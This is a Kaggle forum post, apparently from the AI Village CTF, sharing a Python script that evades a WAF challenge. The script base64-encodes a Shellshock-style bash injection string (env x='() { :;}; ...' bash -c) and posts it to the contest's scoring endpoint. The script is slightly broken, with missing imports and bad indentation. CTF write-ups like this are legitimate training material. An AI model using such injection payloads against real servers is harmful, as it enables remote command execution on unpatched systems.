{
  "id": 351817,
  "title": "A User Customized WAF solution - ADD your message !",
  "url": "/competitions/ai-village-ctf/discussion/351817",
  "author_name": "Ali",
  "post_date": "2022-09-12T01:48:23.016000",
  "votes": 3,
  "comment_count": 0,
  "views": 0,
  "content": "<p>Here is my solution for WAF :D <br>\nPlease be free to change the message to anything you want ! </p>\n<pre><code>import base64\n\nsample_input = \"mFzaC==\"  # This is the \"ash\" part of bash ! like our friend bash !\nyour_message = \"I HATE SLOTH :D\"  # be free to change this :D \n\ninput = \"env x='() { :;}; echo vulnerable' bash -c \"+your_message\nprint(\"ATTACK: \"+input)\ninput = base64.b64encode(input.encode()).decode()\n\ndata = json.dumps(\n    {\"input\": input}\n)\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\nprint(\"Connection problems. Contact the CTF organizers.\")\n</code></pre>\n<p><img src=\"https://www.googleapis.com/download/storage/v1/b/kaggle-forum-message-attachments/o/inbox%2F6915758%2F5022362d3593391f6ad970a3b8924689%2FScreen%20Shot%202022-09-12%20at%204.47.13.png?generation=1662947250287470&amp;alt=media\" alt=\"\"></p>",
  "messages": [
    {
      "id": 1935269,
      "postDate": "2022-09-12T01:48:23.017Z",
      "content": "<p>Here is my solution for WAF :D <br>\nPlease be free to change the message to anything you want ! </p>\n<pre><code>import base64\n\nsample_input = \"mFzaC==\"  # This is the \"ash\" part of bash ! like our friend bash !\nyour_message = \"I HATE SLOTH :D\"  # be free to change this :D \n\ninput = \"env x='() { :;}; echo vulnerable' bash -c \"+your_message\nprint(\"ATTACK: \"+input)\ninput = base64.b64encode(input.encode()).decode()\n\ndata = json.dumps(\n    {\"input\": input}\n)\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\nprint(\"Connection problems. Contact the CTF organizers.\")\n</code></pre>\n<p><img src=\"https://www.googleapis.com/download/storage/v1/b/kaggle-forum-message-attachments/o/inbox%2F6915758%2F5022362d3593391f6ad970a3b8924689%2FScreen%20Shot%202022-09-12%20at%204.47.13.png?generation=1662947250287470&amp;alt=media\" alt=\"\"></p>",
      "rawMarkdown": "Here is my solution for WAF :D \nPlease be free to change the message to anything you want ! \n```\nimport base64\n\nsample_input = \"mFzaC==\"  # This is the \"ash\" part of bash ! like our friend bash !\nyour_message = \"I HATE SLOTH :D\"  # be free to change this :D \n\ninput = \"env x='() { :;}; echo vulnerable' bash -c \"+your_message\nprint(\"ATTACK: \"+input)\ninput = base64.b64encode(input.encode()).decode()\n\ndata = json.dumps(\n    {\"input\": input}\n)\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\nprint(\"Connection problems. Contact the CTF organizers.\")\n```\n\n![](https://www.googleapis.com/download/storage/v1/b/kaggle-forum-message-attachments/o/inbox%2F6915758%2F5022362d3593391f6ad970a3b8924689%2FScreen%20Shot%202022-09-12%20at%204.47.13.png?generation=1662947250287470&alt=media)",
      "votes": 3
    }
  ],
  "comments": [],
  "raw_markdown_by_id": {
    "1935269": "Here is my solution for WAF :D \nPlease be free to change the message to anything you want ! \n```\nimport base64\n\nsample_input = \"mFzaC==\"  # This is the \"ash\" part of bash ! like our friend bash !\nyour_message = \"I HATE SLOTH :D\"  # be free to change this :D \n\ninput = \"env x='() { :;}; echo vulnerable' bash -c \"+your_message\nprint(\"ATTACK: \"+input)\ninput = base64.b64encode(input.encode()).decode()\n\ndata = json.dumps(\n    {\"input\": input}\n)\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\nprint(\"Connection problems. Contact the CTF organizers.\")\n```\n\n![](https://www.googleapis.com/download/storage/v1/b/kaggle-forum-message-attachments/o/inbox%2F6915758%2F5022362d3593391f6ad970a3b8924689%2FScreen%20Shot%202022-09-12%20at%204.47.13.png?generation=1662947250287470&alt=media)"
  }
}